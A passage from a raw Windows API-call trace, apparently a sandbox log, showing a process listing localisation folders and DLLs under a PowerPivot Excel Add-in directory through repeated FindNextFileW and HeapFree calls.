	[0076.597] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl", cAlternateFileName="")) returned 1
	[0076.600] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0076.600] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1
	[0077.096] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.096] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0077.116] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.116] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
	[0077.118] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.118] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
	[0077.122] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.122] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
	[0077.126] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.126] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1
	[0077.128] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.128] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
	[0077.171] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.171] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1
	[0077.177] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.177] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1
	[0077.177] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.177] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0
	[0077.178] FindClose (in: hFindFile=0x811948 | out: hFindFile=0x811948) returned 1
	[0077.178] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0077.178] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerPivot Excel Add-in", cAlternateFileName="POWERP~1")) returned 1
	[0077.189] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.189] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
	[0077.194] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.194] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1
	[0077.199] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.199] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1
	[0077.214] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.214] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
	[0077.217] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.217] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
	[0077.222] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.222] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
	[0077.227] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.227] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
	[0077.234] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.234] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1
	[0077.234] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.234] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
	[0077.667] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.667] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
	[0077.672] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.672] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1
	[0077.677] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.677] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
	[0077.681] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.681] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
	[0077.686] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.686] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1
	[0077.691] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.691] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1
	[0077.697] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.697] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
	[0077.701] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.701] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1
	[0077.706] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.706] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
	[0077.712] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.712] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
	[0077.716] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.716] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Interop.MSDASC.dll", cAlternateFileName="INTERO~1.DLL")) returned 1
	[0077.722] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.722] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
	[0077.728] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.728] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1
	[0077.742] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.743] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
	[0077.745] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.745] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
	[0077.747] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0077.747] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
	[0078.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0078.063] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x164c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDXQueryGenerator.DLL", cAlternateFileName="MDXQUE~1.DLL")) returned 1
	[0078.109] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0078.109] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
	[0078.123] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
